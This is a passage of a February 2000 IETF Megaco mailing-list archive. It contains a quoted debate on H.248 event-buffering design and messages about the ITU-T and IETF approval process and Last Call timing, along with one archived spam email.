> > > > > > > meeting:
> > > > > > >
> > > > > > > 1. Events to be detected in process 1 are always determined
> > > > > > > by the current
> > > > > > > Events Descriptor. This is an unfortunate restriction
> > > > > which may prevent
> > > > > > > detection of events that arrive more rapidly than the
> > > round-trip +
> > > > > > > processing time. For example, an application may initially
> > > > > > > wish to detect
> > > > > > > seizure, and subsequently detect a wink or unseizure. Unless
> > > > > > > all events are
> > > > > > > requested at the same time (which would effectively prevent
> > > > > > > glare detection)
> > > > > > > detection of all these events could not be guaranteed.
> > > > > > This is incorrect, there are two masks -- Events Descriptor and
> > > > > > BufferedEvents Descriptor.  The former determines what
> > > is notified,
> > > > > > the latter determines what is buffered.
> > > > >
> > > > > You're right. I believe it would be preferable to determine
> > > > > events to be
> > > > > detected based on the union of Events Descriptor and
> > > > > BufferedEvents Descriptor
> > > > > though.
> > > > >
> > > > > >
> > > > > >
> > > > > > Seizure would be Events Descriptor, Unseizure and wink would be
> > > > > > in BufferedEvents Descriptor.  Alternatively, you could use an
> > > > > > embedded Events Descriptor.
> > > > >
> > > > > For this specific case - maybe. It is not a general solution
> > > > > to the problem
> > > > > though (BufferedEvents Descriptor on the other hand is).
> > > > >
> > > > > >
> > > > > >
> > > > > > > What is needed, is an extra parameter to specify what events
> > > > > > > to detect (as
> > > > > > > opposed to process) during event buffering. Preferably, this
> > > > > > > set of events
> > > > > > > would be determined based on the union of this parameter and
> > > > > > > the current
> > > > > > > Events Descriptor.
> > > > > > As specified, we "detect" (I would say buffer) events in
> > > > > > BufferedEvents, and we "process" (I would say Notify) events in
> > > > > > Events Descriptor.  We could specify that detect is based on the
> > > > > > union of BufferedEvents and Events, but it's a little late for
> > > > > > optimizations (if it really is what we want, I would think not).
> > > > > >
> > > > > > >
> > > > > > > 2. Hardcoding Notify in process 2 limits throughput, as there
> > > > > > > shall normally
> > > > > > > only be one outstanding Notify per termination. A queue of
> > > > > > > Notify to be sent
> > > > > > > may consequently build up at the sender side thereby
> > > > > > > - Incurring event delivery delay when the event arrival rate
> > > > > > > exceeds the
> > > > > > > MG-MGC roundtrip time.
> > > > > > > - Limiting the average event arrival rate to the MG-MGC
> > > > > > > roundtrip time (best
> > > > > > > case).
> > > > > > This may be true if EventBuffering is On, but is not true if
> > > > > > EventBuffering is off.  In the latter case, events are
> > > Notified as
> > > > > > they are detected, and no response from the MGC is required.
> > > > >
> > > > > That is completely inconsistent with the current text.
> > > > > Section 9.1 specifies
> > > > > that:
> > > > >
> > > > >     "On a given Termination, there should normally be at most
> > > > > one outstanding
> > > > > Notify command at any time.  The RequestId parameter should
> > > > > be used to correlate
> > > > > Notify commands with the triggering notification request."
> > > > >
> > > > > What you are suggesting is that we just send the Notify's as
> > > > > fast as we can. The
> > > > > problem with this is that you cannot guarantee in-order
> > > > > (delivery of these
> > > > > messages) which means we no longer have event ordering in
> > > the system.
> > > > >
> > > > > >
> > > > > > In the former case, this is precisely what is required.
> > > > > The point of
> > > > > > buffering events is that once an event is detected, the
> > > MG doesn't
> > > > > > know what the MGC wants next; it has to wait to be
> > > told.  Meanwhile,
> > > > > > it buffers events the MGC told it it MIGHT want to see.
> > > > > When it gets
> > > > > > a new event descriptor, it can send ONE event, but then it
> > > > > is back in
> > > > > > the same state - what does the MGC want to do next?
> > > > >
> > > > > We are in absolute agreement here. One underlying "problem"
> > > > > however is that the
> > > > > MGC will only be able to request a single event. With the
> > > > > TD-58 solution you
> > > > > could have requested a whole sequence of events potentially.
> > > > >
> > > > > >
> > > > > >
> > > > > > Note that this condition should be very rare - events
> > > > > happen at human
> > > > > > speed in most cases, and computers are fast.  Even in
> > > large trunk
> > > > > > gateways, the MGC better be able to keep up with the
> > > event stream by
> > > > > > a whole lot more than a round trip time!
> > > > >
> > > > > That is a very dangerous assumption which even now doesn't
> > > > > hold. Think about
> > > > > auto-dialers, MF trunking, etc. Events happen a lot faster
> > > > > than human speed
> > > > > (which is why you added digit maps). Do you feel confident in
> > > > > assuming that this
> > > > > is the only case where this is needed ?
> > > > >
> > > > > As for your second point about MGC being able to keep up with
> > > > > event arrival
> > > > > rates significantly below network round trip time we are in
> > > > > complete agreement,
> > > > > and that is precisely my point. Your mechanism has an
> > > > > inherent rate limitation
> > > > > built into it, and that rate limiation is based on the
> > > > > network round-trip time
> > > > > for every thing where you don't apply some special mechanism
> > > > > (like digit maps).
> > > > > This mechanism is basic and belongs in the base protocol!
> > > > >
> > > > >
> > > > > >
> > > > > >
> > > > > > > TD-58 from Red Bank did not have this limitation. First of
> > > > > > > all, the MGC had
> > > > > > > the various "accumulate" actions that were designed to
> > > > > > > prevent this problem
> > > > > > > and limit bandwidth and CPU overhead.
> > > > > > It had a per event decision of Notify, Accumulate or process by
> > > > > > digitmap.  We have all of those.
> > > > >
> > > > > Then I've misunderstood something. Where do you have
> > > accumulate now ?
> > > > >
> > > > > >
> > > > > >
> > > > > > >Secondly, (assuming
> > > > > > > MGCP semantics) it
> > > > > > > would be possible for the MG to try and empty the EventBuffer
> > > > > > > in a single
> > > > > > > message based on the current Events Descriptor (arguably, a
> > > > > > > parameter to
> > > > > > > explicitly allow/disallow this behavior would be beneficial).
> > > > > > No one has ever described a scenario where it was once
> > > > > unacceptable to send
> > > > > > all events, but something occurs which makes it possible to
> > > > > send all events
> > > > > > in the buffer.  This seems unlikely
> > > > > >         Either the MGC is able to run it's own state machine and
> > > > > >                 it can handle events whenever they are detected
> > > > > >         OR
> > > > > >         The MGC has a simplistic view, and can only
> > > deal with the MG
> > > > > >                 and itself being in lockstep
> > > > > >
> > > > >
> > > > > You are making dangerous assumptions again. Experience has
> > > > > taught me that proper
> > > > > design rather than current perception and imagination is by
> > > > > far the better
> > > > > approach.
> > > > >
> > > > >
> > > > > >
> > > > > > >
> > > > > > > 3. There is a dual use of the Eventbuffer parameter which is
> > > > > > > unfortunate.
> > > > > > > Following a Notify where the Eventbuffer was "on", there is
> > > > > > > no way for the
> > > > > > > MGC to subsequently request that
> > > > > > > a) All the currently buffered events should be processed
> > > > > > > b) Future events should not be buffered events but simply
> > > > > > > sent immediately
> > > > > > This is the same as above.  Somehow, the MGC couldn't handle all
> > > > > > events, and now it can.  How can this be?
> > > > > > I would be willing, I suppose, to allow this (that is,
> > > have some way
> > > > > > to empty the Event Buffer by Notify rather than just
> > > clearing it),
> > > > > > but no one has been able to come up with a really interesting
> > > > > > case where the MG flips EventBuffering on and off.  I
> > > expect it will
> > > > > > set it one way and leave it.
> > > > >
> > > > > Same comment as above. I would much prefer proper design
> > > > > instead assumptions
> > > > > which may or may not hold down the road.
> > > > >
> > > > > >
> > > > > >
> > > > > > Please cite an interesting case where some events should be
> > > > > buffered,
> > > > > > but there comes an event where the buffer should be sent all at
> > > > > > once (and where it is unacceptable to send the events as they
> > > > > > are detected).
> > > > >
> > > > > Same comment as above.
> > > > >
> > > > >
> > > > > >
> > > > > >
> > > > > > > A simple solution to this problem would be to separate the
> > > > > > > parameter into
> > > > > > > two, which is precisely what the BufferedEventProcessingMode
> > > > > > > in TD-58 did.
> > > > > > Covered above, although no one could ever precisely explain
> > > > > to those of us
> > > > > > who sat through countless hours of discussion and email
> > > > > what the 4 states of
> > > > > > two variables were used for.
> > > > > >
> > > > >
> > > > > I disagree. Experience will tell us who is right. With my
> > > > > approch we can't
> > > > > loose, with yours we certainly can.
> > > > >
> > > > > >
> > > > > > >
> > > > > > >
> > > > > > > Finally, from a design perspective, the above solution
> > > > > contains some
> > > > > > > fundamentally undesirable properties. Most problematic is the
> > > > > > > hard-coded
> > > > > > > Notify of events which effectively provides a stimulus based
> > > > > > > approach to
> > > > > > > event handling with none or little future support for
> > > > > scripting. It
> > > > > > > effectively prevents us from taking advantage of more
> > > powerful and
> > > > > > > sophisticated MGs that are able to do some amount of
> > > > > local processing
> > > > > > > thereby
> > > > > > > - reducing bandwidth requirements
> > > > > > > - reducing MGC processing requirements (and complexity)
> > > > > > > - improves responsiveness as the network round-trip does
> > > > > not become a
> > > > > > > bottleneck
> > > > > > > Opponents to this point of view may claim, that packages with
> > > > > > > new events,
> > > > > > > signals, and properties can be defined that effectively
> > > > > > > achieve the above,
> > > > > > > as e.g. was done for digitmaps/DTMF detection. While that is
> > > > > > > indeed the case
> > > > > > > (and there are valid use cases for such), the point that
> > > > > > > needs to be made,
> > > > > > > is that the mechanisms are basic and of such high value that
> > > > > > > they should be
> > > > > > > supported natively rather than only by higher level
> > > > > > > mechanisms which may or
> > > > > > > may not be able to interact with each other. Consider for
> > > > > example the
> > > > > > > current DTMF detection scheme. As a consequence of the higher
> > > > > > > layer approach
> > > > > > > taken, it is not able to report incoming DTMF digits and
> > > > > > > other inter-twined
> > > > > > > events in the correct order, since the DTMF detection
> > > > > > > mechanism must itself
> > > > > > > be exactly one event (digit map completion). Another
> > > > > example is the
> > > > > > > interaction with signal interruption, e.g. dial-tone.
> > > > > Again, special
> > > > > > > consideration (define it to take place on the first digit) is
> > > > > > > needed to
> > > > > > > achieve the desired behavior although the event really has
> > > > > > > not occurred yet.
> > > > > > Scripting is, as you know, a version 2 problem.
> > > > > Presumably, scripting need
> > > > > > not limit itself to the same view of events, or more
> > > > > precisely, it would
> > > > > > probably handle event detection as they occurred, and
> > > > > generate Notifies (if
> > > > > > appropriate), whenever the script decided to.  I would
> > > > > allow scripts to run
> > > > > > on detection, allow them to put events in the buffer, and
> > > > > allow them to run
> > > > > > on Notify (which would include allowing the Notify script
> > > > > to paw through the
> > > > > > buffer).
> > > > >
> > > > > Yes I know. What you are telling me know, is that yes, the
> > > > > current event
> > > > > handling mechanism is probably not adequate for scripting and
> > > > > you would do
> > > > > something special, e.g. not perform the hard-coded Notify we
> > > > > saw above. What
> > > > > about interaction between different schemes, consistency,
> > > > > ease of understanding,
> > > > > etc. This looks very flaky to me and that is precisely my point.
> > > > >
> > > > >
> > > > > >
> > > > > > > Such requirements for special treatment and consideration
> > > > > are simply
> > > > > > > evidence of lack of generality that should not show up at
> > > > > > > this stage. The
> > > > > > > solution specified in TD-58 from Red Bank did not suffer
> > > > > from these
> > > > > > > drawbacks.
> > > > > > Disagree as per above
> > > > >
> > > > > You are going to have to explain the drawbacks of TD-58 to
> > > > > me. I have now
> > > > > offered you drawbacks with the v14 scheme. Considering that I
> > > > > have not seen you
> > > > > (or anyone else for that matter) explain any kind of
> > > > > drawbacks with the TD-58
> > > > > scheme and that I have shown several drawbacks with the v14
> > > > > scheme, I think it
> > > > > is your turn to explain the problems with TD-58 now. You have
> > > > > been very adament
> > > > > about not making changes without any good reason, so I would
> > > > > like to see that
> > > > > same rule applied to TD-58.
> > > > >
> > > > >
> > > > >
> > > > > >
> > > > > > >
> > > > > > > Some additional comments below
> > > > > > >
> > > > > > >
> > > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > > Coming out of Red Bank there was NO consensus on Events,
> > > > > > > > there was in fact wide disagreement on events.
> > > Coming out of
> > > > > > > > Washington, there was NO consensus on events, there
> > > was in fact
> > > > > > > > wide disagreement on events.  The proposal we have
> > > in V13 was
> > > > > > > > an attempt to fix what people saw as problems in the event
> > > > > > > > mechanism.
> > > > > > > >
> > > > > > > > In Red Bank, no one could explain how the MGCP
> > > mechanism works.
> > > > > > > > In Washington, several people attempted to explain
> > > how it works
> > > > > > > > (Christian Huitema was not there for that session).
> > >  Today in
> > > > > > > > fact, I'll bet you if you ask 10 people who claim they
> > > > > understand
> > > > > > > > how the MGCP mechanism works, you would get several answers,
> > > > > > > > although I would grant you that there is not a lot
> > > of variation
> > > > > > > > in the implementations.  The V13 mechanism was not
> > > > > comprehensible
> > > > > > > > to anyone in the design meetings in Washington or Red Bank.
> > > > > > >
> > > > > > > If understanding the MGCP mechanism is the real problem, then
> > > > > > > I'm sure we
> > > > > > > can get the right people to clarify. Having spent a lot of
> > > > > > > time on this
> > > > > > > (admittedly confusing) aspect myself, I can certainly
> > > > > offer my help if
> > > > > > > needed. As for a general lack of understanding of the
> > > > > > > mechanism I think you
> > > > > > > are exagerating. There may be small details here and
> > > > > there that people
> > > > > > > interpret differently, but I bet you any mechanism you
> > > > > > > specify will suffer
> > > > > > > from this, including yours.
> > > > > >
> > > > > > Flemming, there are a core of about 5 people who sat
> > > and argued and
> > > > > > questioned and puzzled about the MGCP mechanism over two
> > > > > IETF meetings, the
> > > > > > Red Bank meeting and the email list.  Check the archives -
> > > > > there are lots of
> > > > > > messages that attempt to explain how the MGCP mechanism
> > > > > works.  No two
> > > > > > people agreed.  I asked 4 people who said they were part of
> > > > > implementation
> > > > > > teams.  They all explained it differently, although it
> > > > > seems that they
> > > > > > implemented it close to the same thing.  I believe the MGCP
> > > > > text is poorly
> > > > > > written, poorly understood.  AND, even when people more or
> > > > > less explained
> > > > > > how it worked, they were totally unable to explain how you
> > > > > would use it.
> > > > >
> > > > > I'm not talking about MGCP, I'm talking about TD-58. You are
> > > > > the editor and have
> > > > > done an outstanding job under some very different
> > > > > circumstances. If there is
> > > > > text that needs clarification, well then clarify it, don't
> > > > > scratch the mechanism
> > > > > and rewrite it from scratch.
> > > > >
> > > > > What if I ask you to explain how multimedia and streams work
> > > > > and whether they
> > > > > are indeed adequate for what we want to do. I bet you will
> > > > > have a very tough
> > > > > time (I know since you've stated your concerns on this issue
> > > > > several times)
> > > > > doing that, but that doesn't meen you just rewrite it, right ?
> > > > >
> > > > > In any case, we are drifting away from the technical points,
> > > > > which is what I
> > > > > want to focus on. Bottom line is, that I strongly believe the
> > > > > TD-58 scheme was
> > > > > better than what we now have in v14. Based on all of the
> > > > > above and in the
> > > > > absence of you explaining any problems with the TD-58
> > > mechanism and
> > > > > demonstrating adva


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 21:37:44 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA14645
	for ; Thu, 10 Feb 2000 21:37:29 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.9A6D9420@standards.nortelnetworks.com>; Thu, 10 Feb 2000 21:34:25 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 39568 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 21:32:57 -0500
Received: from newdev.harvard.edu (140.247.60.212) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.659A7A10@standards.nortelnetworks.com>; Thu, 10 Feb 2000
          21:32:57 -0500
Received: (from sob@localhost) by newdev.harvard.edu (8.9.3/8.9.3) id VAA03582;
          Thu, 10 Feb 2000 21:34:59 -0500 (EST)
Message-ID:  <200002110234.VAA03582@newdev.harvard.edu>
Date:         Thu, 10 Feb 2000 21:34:59 -0500
Reply-To: Scott Bradner 
Sender: "Media Gateway Control (megaco)"
              
From: Scott Bradner 
Subject:      Re: H.248 Activity
X-To:         taylor@nortelnetworks.com
X-cc:         Fabio.Bigi@ITU.INT, fred@cisco.com, mankin@isi.edu, vern@aciri.org
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

in the case of case #2 - I would sure hope that the IETF can be
well done long before May 15th

Scott

---
From: "Tom-PT Taylor" 
To: Scott Bradner 
Cc: fred@cisco.com, mankin@isi.edu, megaco@standards.nortelnetworks.com,
        vern@aciri.org, "Bigi, Fabio" 
Subject: RE: H.248 Activity
Date: Thu, 10 Feb 2000 18:02:37 -0600

The situation is clear.  IETF process will be respected, and only one
protocol will be produced.  This leaves the following outlook for the
future:

Case 1: SG 16 decides H.248 at this meeting

Clearly, the IESG will have to delete the protocol milestone from the Megaco
charter.  The IESG may choose, as they have the right to do under our
agreement with the ITU-T, to publish H.248 as an Informational RFC.  There
is no particular reason not to -- the provision was negotiated so IETF
participants would not have to pay the ITU-T for a copy of the standard they
helped develop.

Case 2: SG 16 does not decide H.248 at this meeting.

In this case, the preferable outcome will be to allow the IETF to complete
its process and create a Standards-track RFC.  That in turn can be processed
into an ITU-T White Document at a Q. 14/16 Rapporteur's meeting convened for
the purpose, and eventually decided as H.248.  To allow this,
  -- SG 16 must seek to decide the document at the WTSA meeting in September
rather than the meeting proposed for June 15
  -- the IETF must complete its process well before May 15
  -- the ITU-T must schedule a Rapporteur's meeting to meet the May 15 White
Paper deadline

I can only apologize so many times, but I do regret the ill-will this
outcome is bound to generate between the two organizations, even though each
has done its best to accommodate the other.

Just in case Case 2 is what happens, I hereby rescind Last Call with the
intention that it will be declared on a document which reflects the results
of the present SG 16 meeting.   Meantime, we can still try to clean up all
we can before next Tuesday.

        Tom Taylor


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 22:14:45 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA16026
	for ; Thu, 10 Feb 2000 22:14:41 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C7DBBA90@standards.nortelnetworks.com>; Thu, 10 Feb 2000 22:11:29 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 39616 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 22:10:20 -0500
Received: from us-lihi-03.libertyinternational.com (12.6.229.71) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.38C23BF0@standards.nortelnetworks.com>; Thu, 10 Feb 2000
          22:00:20 -0500
Received: from lihi-gcanyon.libertyinternational.com ([147.179.120.197]) by
          us-lihi-03.libertyinternational.com with SMTP (Microsoft Exchange
          Internet Mail Service Version 5.5.2650.21) id 1V4QTQR2; Thu, 10 Feb
          2000 21:30:46 -0500
Received: FROM xgetn.hotbot.com BY lihi-gcanyon.libertyinternational.com ; Thu
          Feb 10 21:30:16 2000 -0500
Message-ID:  
Date:         Thu, 10 Feb 2000 22:10:20 -0500
Reply-To: jttxm@HOTBOT.COM
Sender: "Media Gateway Control (megaco)"
              
From: jttxm@HOTBOT.COM
Subject:      ACCEPT CREDIT CARDS OVER THE INTERNET.....NO SETUP FEES!!
              fkcro
X-To:         fawsm@aol.com
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

INCREASE SALES UP TO 50%....

ACCEPT CREDIT CARDS OVER THE INTERNET.....NO SETUP FEES!!

Good Credit/Bad Credit/No Credit.....*** NO PROBLEM***

It just Doesn't Matter - Everyone Gets Approved
No Upfront Fees For application-Processing!
While Others Charge You From $195 to $250 to Get Set Up

       WE CHARGE ZERO FOR SETUP FEES!!!

     Limited Offer So Take Advantage of it!!

We Specialize in Servicing The Following:

 **  Multilevel Marketing
 **  Mail Order!  Phone Sales
 **  Home Based Business
 **  INTERNET BASED BUSINESS
 **  New Business ** Small Business
 ** Whatever!!  We Do It ALL!!!
 Everyone is Welcome!!

Toll Free     1-888-594-8155


No More Mail
mailto:out1@yifan.net?subject=remove


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 22:51:46 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA17466
	for ; Thu, 10 Feb 2000 22:51:38 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.F70091B0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 22:48:36 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 39692 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 22:46:45 -0500
Received: from PMESMTP02.wcom.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.4EE0D310@standards.nortelnetworks.com>; Thu, 10 Feb 2000 22:36:44
          -0500
Received: from ndcrelay2.mcit.com ([166.37.172.6]) by firewall.mcit.com (PMDF
          V5.2-32 #41713) with ESMTP id <0FPQ00JL7Y5FFX@firewall.mcit.com> for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 03:39:15 +0000
          (GMT)
Received: from omzmta03.mcit.com (omzmta03.mcit.com [166.37.194.121]) by
          ndcrelay2.mcit.com (8.8.7/) with ESMTP id DAA05605; Fri, 11 Feb 2000
          03:39:56 +0000 (GMT)
Received: from C25766A ([166.44.186.41]) by omzmta03.mcit.com (InterMail
          v03.02.05 118 121 101) with SMTP id
          <20000211033902.UDKL21173@C25766A>; Fri, 11 Feb 2000 03:39:02 +0000
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Content-type: multipart/alternative;
              boundary="----=_NextPart_000_002D_01BF740F.3ED8F2C0"
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Message-ID:  
Date:         Thu, 10 Feb 2000 21:39:01 -0600
Reply-To: Henry Sinnreich 
Sender: "Media Gateway Control (megaco)"
              
From: Henry Sinnreich 
Subject:      Re: H.248 Activity
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  

This is a multi-part message in MIME format.

------=_NextPart_000_002D_01BF740F.3ED8F2C0
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

RE: H.248 ActivitySeems we ran against the fundamental principle that one
cannot have two drivers at the steering wheel. They may be both well
intentioned and right from their point of view, but will pull in different
directions. With hindsight, each driver should be left alone do their own
steering. Besides, everybody profits from intellectual competition, or we
would not have had the Internet in the first place IMHO. It's for the market
to decide...

Henry

Henry-----Original Message-----
From: Media Gateway Control (megaco)
[mailto:MEGACO@STANDARDS.NORTELNETWORKS.COM]On Behalf Of Tom-PT Taylor
Sent: Thursday, February 10, 2000 7:33 AM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: H.248 Activity


  Let me take the liberty of clarifying the situation.  In summary, the
ITU-T is bending over backwards to ensure that the IETF has its say, but my
own tactical error in delaying Last Call past December will result in a
truncated formal last call process.  I have suggestions for compensating for
that below.

  First: what is being considered by SG 16?  We are taking three documents
as our starting point:
   - TD-33/2 is exactly the same as -megaco-protocol-05.txt
(MegacoH248v14.doc)
   - TD-32/2 shows the deltas between TD-33/2 and the "White Document" which
was issued in the wake of the Red Bank meeting

   - TD-49/2 is the changes summed up in my final issue scorecard -- it was
reproduced on the list in my note "Updates Submitted To ITU Based On Issue
Scorecard" sent Monday at 9:58am EST.

  You will see from this list that the ITU-T is taking full account of the
discussion which has occurred on the Megaco list since the Red Bank meeting
in October.  I will mention there is no departure here from normal ITU-T
procedure -- almost every document up for decision has change documents
submitted against it.  The key point is that the change documents (i.e.
TD-32/2 and TD-49/2 plus the others submitted by Cisco, Telcordia, and
Ericsson) must be agreed at this meeting to take effect.  The truth of the
matter is that there is some last-minute horse-trading on the ground, but we
will probably close on the open issues in front of us by some time tonight.

  Now regarding WG Last Call.  I have a specific agreement with Glen
Freundlich, the Rapporteur in charge of proceedings here, that any issues
resolved on the list between now and next Wednesday (effectively Tuesday
night for North Americans) can be brought in for consideration on Wednesday.
This is, of course, somewhat short of the normal Last Call period.  I
apologize for that.

  What I consider a more serious matter is that the IESG Last Call must come
after the ITU-T decision, if decision does happen at this meeting.  We do
have some flexibility to meet IESG objections, depending on their nature: I
believe some divergence between the ITU-T standard (H.248) and the IETF RFC
is possible, if it relates to very specific aspects of the protocol having
to do with IP-related operation.  We also have the flexibility provided by
the ITU-T provision for an Implementor's Guide to supplement basic protocol
document.  I have further ideas if absolutely necessary, but let's worry
about them when we get there.  The main point is to reaffirm the principle
that full IETF process must be followed before the RFC goes out.

  I hope this explanation helps to clarify the situation.

  Tom Taylor
  Chairman, Megaco WG

    -----Original Message-----
    From:   Fred Baker [SMTP:chair@IETF.ORG]
    Sent:   Wednesday, February 09, 2000 12:54 PM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:        H.248 Activity

    Scott:

    I have a question regarding the status of the Megaco/H.248 development
    activity in Geneva. SG16 is busily trying to "decide" the H.248
document,
    I'm told, and doing so in violation of its own procedures. It's
procedures
    call for "deciding" to be based on a stable document, while the document
    before that house has changed substantively since October, and there are
    numerous contributions to change it even today.

    I understand that one of the key supporters of deciding the document
this
    week is Tom Taylor, the chair of Megaco. Monday morning, Tom opened a
    Working Group last call on the IETF version of the document, which if
any
    of the current ITU contributions are accepted differs substantively from
    the ITU document. By doing this, Tom cuts IETF review of the document
out
    of the loop.

    I thought this was a joint development between IETF and ITU, a showcase
of
    that in fact, and that the IETF would review and agree to H.248 before
it
    was decided? What's going on here?

    Fred
    =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    Fred Baker      | 519 Lado Drive
    IETF Chair      | Santa Barbara California 93111
    www.ietf.org    | Desk:   +1-408-526-4257
                    | Mobile: +1-805-886-3873
                    | FAX:    +1-413-473-2403


------=_NextPart_000_002D_01BF740F.3ED8F2C0
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


RE: H.248 Activity






Seems we ran against the fundamental =
principle that one=20
cannot have two drivers at the steering wheel. They may be both well =
intentioned=20
and right from their point of view, but will pull in different =
directions. With=20
hindsight, each driver should be left alone do their own steering. =
Besides,=20
everybody profits from intellectual competition, or we would not have =
had the=20
Internet in the first place IMHO. It's =
for the=20
market to decide...=20



 

Henry
=


 


Henry-----Original Message-----
From: Media Gateway =
Control (megaco)=20
[mailto:MEGACO@STANDARDS.NORTELNETWORKS.COM]On Behalf Of Tom-PT=20
Taylor
Sent: Thursday, February 10, 2000 7:33 AM
To: =

MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: H.248=20
Activity



  
Let me take the liberty =
of clarifying=20
  the situation.  In summary, the ITU-T is bending over backwards =
to ensure=20
  that the IETF has its say, but my own tactical error in delaying Last =
Call=20
  past December will result in a truncated formal last call =
process.  I=20
  have suggestions for compensating for that below.

  
First: what is being =
considered by SG=20
  16?  We are taking three documents as our starting point:=20
  
 - TD-33/2 is =
exactly the same=20
  as -megaco-protocol-05.txt (MegacoH248v14.doc) 
 - TD-32/2 shows the deltas between TD-33/2 =
and the=20
  "White Document" which was issued in the wake of the Red Bank=20
  meeting

  
 - TD-49/2 is the =
changes summed=20
  up in my final issue scorecard -- it was reproduced on the list in my =
note=20
  "Updates Submitted To ITU Based On Issue Scorecard" sent Monday at =
9:58am=20
  EST.

  
You will see from this =
list that the=20
  ITU-T is taking full account of the discussion which has occurred on =
the=20
  Megaco list since the Red Bank meeting in October.  I will =
mention there=20
  is no departure here from normal ITU-T procedure -- almost every =
document up=20
  for decision has change documents submitted against it.  The key =
point is=20
  that the change documents (i.e. TD-32/2 and TD-49/2 plus the others =
submitted=20
  by Cisco, Telcordia, and Ericsson) must be agreed at this meeting to =
take=20
  effect.  The truth of the matter is that there is some =
last-minute=20
  horse-trading on the ground, but we will probably close on the open =
issues in=20
  front of us by some time tonight.

  
Now regarding WG Last =
Call.  I=20
  have a specific agreement with Glen Freundlich, the Rapporteur in =
charge of=20
  proceedings here, that any issues resolved on the list between now and =
next=20
  Wednesday (effectively Tuesday night for North Americans) can be =
brought in=20
  for consideration on Wednesday.  This is, of course, somewhat =
short of=20
  the normal Last Call period.  I apologize for that.

  
What I consider a more =
serious matter=20
  is that the IESG Last Call must come after the ITU-T decision, if =
decision=20
  does happen at this meeting.  We do have some flexibility to meet =
IESG=20
  objections, depending on their nature: I believe some divergence =
between the=20
  ITU-T standard (H.248) and the IETF RFC is possible, if it relates to =
very=20
  specific aspects of the protocol having to do with IP-related =
operation. =20
  We also have the flexibility provided by the ITU-T provision for an=20
  Implementor's Guide to supplement basic protocol document.  I =
have=20
  further ideas if absolutely necessary, but let's worry about them when =
we get=20
  there.  The main point is to reaffirm the principle that full =
IETF=20
  process must be followed before the RFC goes out.

  
I hope this explanation =
helps to=20
  clarify the situation. 

  
Tom Taylor =

Chairman, Megaco WG 

  
    
    
    -----Original Message----- =

    From:   Fred=20
    Baker [SMTP:chair@IETF.ORG] 
    Sent:   Wednesday,=20
    February 09, 2000 12:54 PM 
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM 
    Subject:        =
H.248 Activity 
    
    
    Scott: 
    
    
    I have a question regarding the =
status of the=20
    Megaco/H.248 development 
    activity in=20
    Geneva. SG16 is busily trying to "decide" the H.248 document, =

    
    I'm told, and doing so in violation =
of its own=20
    procedures. It's procedures 
    call for=20
    "deciding" to be based on a stable document, while the =
document=20
    
    before that house has changed =
substantively=20
    since October, and there are 
    numerous=20
    contributions to change it even today. 
    
    
    I understand that one of the key =
supporters of=20
    deciding the document this 
    week is Tom=20
    Taylor, the chair of Megaco. Monday morning, Tom opened a =

    Working Group last call on the IETF version of =
the=20
    document, which if any 
    of the =
current ITU=20
    contributions are accepted differs substantively from =

    the ITU document. By doing this, Tom cuts IETF =
review of=20
    the document out 
    of the =
loop. 
    
    
    I thought this was a joint =
development between=20
    IETF and ITU, a showcase of 
    that in fact,=20
    and that the IETF would review and agree to H.248 before it =

    was decided? What's going on here? 
    
    
    Fred 
    =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=
